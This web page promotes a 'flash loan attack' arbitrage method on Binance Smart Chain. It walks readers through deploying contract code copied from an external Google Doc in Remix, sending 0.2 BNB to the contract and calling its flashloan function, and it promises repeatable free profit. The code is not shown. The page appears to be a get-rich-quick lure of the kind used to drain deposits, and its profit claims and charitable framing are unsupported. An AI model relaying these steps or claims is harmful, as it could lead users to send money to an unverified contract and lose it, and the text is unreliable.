Connect with us
Advertisements

Cryptocurrency

How to earn Free BNB from a Flash Loan attack on Pancakeswap/Burgerswap with arbitrage – Method

ECOMI (OMI) very last WARNING to OMI holders!
Advertisements

In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between PancakeSwap and Bakeryswap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change.

I have already been very successful doing this method and knowing that times are hard for a lot of people especially during Covid, is why I have decided to share my knowledge to help the public.
Simply follow the instructions in the video.

Advertisements

What is a flashloan attack? https://news.bitcoin.com/data-shows-bsc-dapps-lost-167-million-last-month-from-flash-loan-attacks/
Remix Link – https://remix.ethereum.org/
Smart Contract Code Link – https://docs.google.com/document/d/1k5e5kFf0HripHIh4LG9Mrrj6eQt_pG2Fc9xtF52mCmc

Here a flash loan borrowed 3,157.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. To prepare the arbitrage, BNB is converted to BUSD using PancakeSwap swap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,168.39 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,168.38 BNB is transferred back to Multiplier to pay the loan plus fees. This transaction costs around 0.2 BNB of gas. Note that the transaction sender gains 2.51 BNB from the arbitrage, this particular transaction can be repeated as price changes all the time.

STEPS: Before starting, install and setup MetaMask in Chrome Browser.
You need to have BNB in your Metamask Wallet, using the BEP20(BSC) Network, not BEP2! Follow this instruction on connecting MetaMask to Binance Smart Chain –
https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain

1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code from – (https://docs.google.com/document/d/1k5e5kFf0HripHIh4LG9Mrrj6eQt_pG2Fc9xtF52mCmc)
3. Create new file in Remix and paste Contract code and wait for everything to load
4. Enter your token details and deploy your contract
5. Get the Contract address from Remix
6. Send 0.2 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.2 BNB fees)
7. Call ‘flashloan’ function in Remix.

source